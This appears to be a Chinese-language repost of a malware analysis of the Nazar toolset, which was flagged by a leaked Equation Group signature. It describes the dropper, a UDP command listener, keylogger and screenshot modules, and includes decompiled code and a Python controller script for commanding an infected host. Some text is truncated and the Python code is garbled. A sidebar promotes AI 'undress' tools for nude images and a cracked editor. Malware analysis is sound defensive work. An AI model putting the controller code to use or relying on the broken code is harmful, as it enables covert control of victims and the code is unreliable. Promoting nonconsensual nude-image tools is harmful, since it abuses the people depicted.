6:22 AM 11/7/2012 conficker still on target
6:18 AM 11/7/2012 checking logs - we are clean
8:16 PM 7/2/2012 - BOOM!, got the callback
這些是方程組(NSA)在攻擊目標系統留下的記錄,後來被Shadow Brokers洩露。 最近,安全研究員透露了一個先前被錯誤識別且未知的威脅組織Nazar,以下將對Nazar組件進行深入分析。
事件背景
影子經紀人洩漏的數據使眾多漏洞(例如EternalBlue)成為眾人關注的焦點,但其中還包含了許多更有價值的組件,這些組件顯示了Equation Group在發動攻擊之前採取的一些預防措施。
例如,在洩漏檔案中名為「 drv_list.txt」的文件,其中包含驅動程式名稱清單和相應的註釋,如果在目標系統上找到了驅動程序,則會將訊息發送給攻擊者。
清單中還包含惡意驅動程式的名稱,如果找到這些惡意驅動程序,表示目標系統已經被其他人破壞,然後警告攻擊者「撤回」。負責此類檢查的關鍵組件名為「Territorial Dispute」或「TeDi」。
「 TeDi」包含45個簽名,可在目標系統中搜尋與其他威脅組織相關的登錄項目和檔案名稱。與安全掃描不同,攻擊者最終目的是確保自身操作不會受到干擾,其他攻擊者不會偵測到他們的工具。
在某些情況下,防止自體作業不會幹擾「友善」威脅群組的運作,也不會同時攻擊相同目標。
安全研究員指出,「 TeDi」中的第37個簽名是尋找名為“ Godown.dll”的文件,它指向的就是伊朗威脅組織“Nazar” 。
執行流程
Nazar在2008年左右開始活動,可能與第'TeDi'第37個簽章相關,它負責偵測Nazar工具插件“ Godown.dll”。
Nazar執行的初始二進位檔案是gpUpdates.exe。它是由“ Zip 2 Secure EXE”創建的自解壓縮文件(SFX)。執行後,gpUpdates將三個檔案寫入磁碟:Data.bin,info和Distribute.exe,gpUpdates.exe將啟動Distribute.exe。
Distribute.exe
首先,Distribute.exe將讀取info和Data.bin。 Data.bin是一個二進位Blob,其中包含多個PE檔案。 info檔案非常小,其中包含一個簡單的結構,該結構表示Data.bin中PE檔案的長度。 Distribute.exe將按檔案長度的順序逐一讀取Data.bin。下表顯示了Data.bin檔案與info寫入長度的關係。
之後Distribute.exe使用regsv***將3個DLL檔案寫入登錄中。
使用CreateServiceA將svchost.exe新增為名為「 EYService」的服務,啟動服務並退出。 此服務是攻擊的主要部分,協調Nazar調用模組。
通訊分析
服務執行後,先設定封包嗅探。
DWORD __stdcall main_thread(LPVOID lpThreadParameter) { HANDLE hMgr; // edi HANDLE hCfg; // esi HANDLE hFtr; // edi hMgr = MgrCreate(); MgrInitialize(hMgr); hCfg = MgrGetFirstAdapterCfg(hMgr); do { if ( !AdpCfgGetAccessibleState(hCfg) ) break; hCfg = MgrGetNextAdapterCfg(hMgr, hCfg); } while ( hCfg ); ADP_struct = AdpCreate(); AdpSetConfig(ADP_struct, hCfg); if ( !AdpOpenAdapter(ADP_struct) ) { AdpGetConnectStatus(ADP_struct); MaxPacketSize = AdpCfgGetMaxPacketSize(hCfg); adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0); AdpCfgGetMACAddress(hCfg, &mac_address, 6); hFtr = BpfCreate(); BpfAddCmd(hFtr, BPF_LD_B_ABS, 23u); // Get Protocol field value BpfAddJmp(hFtr, BPF_JMP_JEQ, IPPROTO_UDP, 0, 1);// Protocol == UDP BpfAddCmd(hFtr, BPF_RET, 0xFFFFFFFF); BpfAddCmd(hFtr, BPF_RET, 0); AdpSetUserFilter(ADP_struct, hFtr); AdpSetUserFilterActive(ADP_struct, 1); AdpSetOnPacketRecv(ADP_struct, on_packet_recv_handler, 0); AdpSetMacFilter(ADP_struct, 2); while ( 1 ) { if ( stop_and_ping == 1 ) { adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0); connection_method(2); stop_and_ping = 0; } Sleep(1000u); } } return 0; }
每當UDP封包到達時,無論是否有回應,都會記錄其來源IP以用於下一個回應。然後檢查資料包的目標端口,如果是1234,則將資料將轉送到命令處理器。
int __cdecl commandMethodsWrapper(udp_t *udp_packet, int zero, char *src_ip, int ip_id) { int length; // edi length = HIBYTE(udp_packet->length) - 8; ntohs(udp_packet->src_port); if ( ntohs(udp_packet->dst_port) != 1234 ) return 0; commandDispatcher(&udp_packet[1], src_ip, ip_id, length); return 1; }
資料回應
每個回應都會從頭開始建立封包,回應分為3種類型:
1、傳送ACK:目標連接埠4000,有效負載101; 0000
2、傳送電腦資訊:目標連接埠4000,有效負載100; ;
#3、发送文件:通过UDP发送数据,然后是带有
支持命令
下表为命令支持列表:
Dll分析
Godown.dll
Godown.dll是SIG37重点关注的DLL,它是一个小型DLL,只有一个关闭计算机的功能。
Filesystem.dll
Filesystem.dll是由攻击者自己编写的模块。该模块的目的是枚举受感染系统上的驱动器,文件夹和文件,并将结果写入Drives.txt和Files.txt。
目前发现两个版本均包含PDB路径,其中提到了波斯语为Khzer(或خضر)的文件夹:
C:\\khzer\\DLLs\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb
D:\\Khzer\\Client\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb
两条路径之间存在一些差异,表明该模块的两个版本不是在同一环境中编译的。
hodll.dll
hodll.dll模块负责键盘记录,通过设置钩子来完成。该代码来自开源代码库,某种程度上像从互联网上复制了多个项目的代码,最终拼装在一起。
ViewScreen.dll
该DLL基于名为“ BMGLib”的开源项目,用于获取受害者计算机的屏幕截图。
附录
IOCs
Python Server
from scapy.all import * import struct import socket import hexdump import argparse DST_PORT = 1234 # 4000 is the usual port without sending files, but we use it for everything, because why not? SERVER_PORT = 4000 # We want to make sure the ID has the little endian of it ID = struct.unpack('>H',struct.pack('<h def>= 4 and payload[:3] == b'---' and payload[4] >= ord('0') and payload[4] ').strip() if 'quit' in curr_message: return None if 'help' in curr_message: print(MENU) else: return curr_message def get_sock(): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) server_address = '0.0.0.0' server = (server_address, SERVER_PORT) sock.bind(server) return sock def main(ip_addr): sock = get_sock() print(MENU) multi_packets = ["200","201", "119", "189", "311", "199", "599"] single_packets = ["999", "555"] all_commands = single_packets + multi_packets while True: curr_message = get_message() if not curr_message: break # Send message using scapy # Make sure the IP identification field is little endian of the port. sr1( IP(dst=ip_addr, id=ID)/ UDP(sport=SERVER_PORT,dport=1234)/ Raw(load=curr_message), verbose=0 ) command = curr_message[:3] if command not in all_commands: continue should_loop = command in multi_packets get_response(sock, should_loop) if __name__ == '__main__': parser = argparse.ArgumentParser(description="victim's IP") parser.add_argument('ip') args = parser.parse_args() main(args.ip)</h>
以上是如何深度分析Nazar 組件的詳細內容。更多資訊請關注PHP中文網其他相關文章!

熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

Video Face Swap
使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

熱工具

禪工作室 13.0.1
強大的PHP整合開發環境

EditPlus 中文破解版
體積小,語法高亮,不支援程式碼提示功能

VSCode Windows 64位元 下載
微軟推出的免費、功能強大的一款IDE編輯器

SecLists
SecLists是最終安全測試人員的伙伴。它是一個包含各種類型清單的集合,這些清單在安全評估過程中經常使用,而且都在一個地方。 SecLists透過方便地提供安全測試人員可能需要的所有列表,幫助提高安全測試的效率和生產力。清單類型包括使用者名稱、密碼、URL、模糊測試有效載荷、敏感資料模式、Web shell等等。測試人員只需將此儲存庫拉到新的測試機上,他就可以存取所需的每種類型的清單。

ZendStudio 13.5.1 Mac
強大的PHP整合開發環境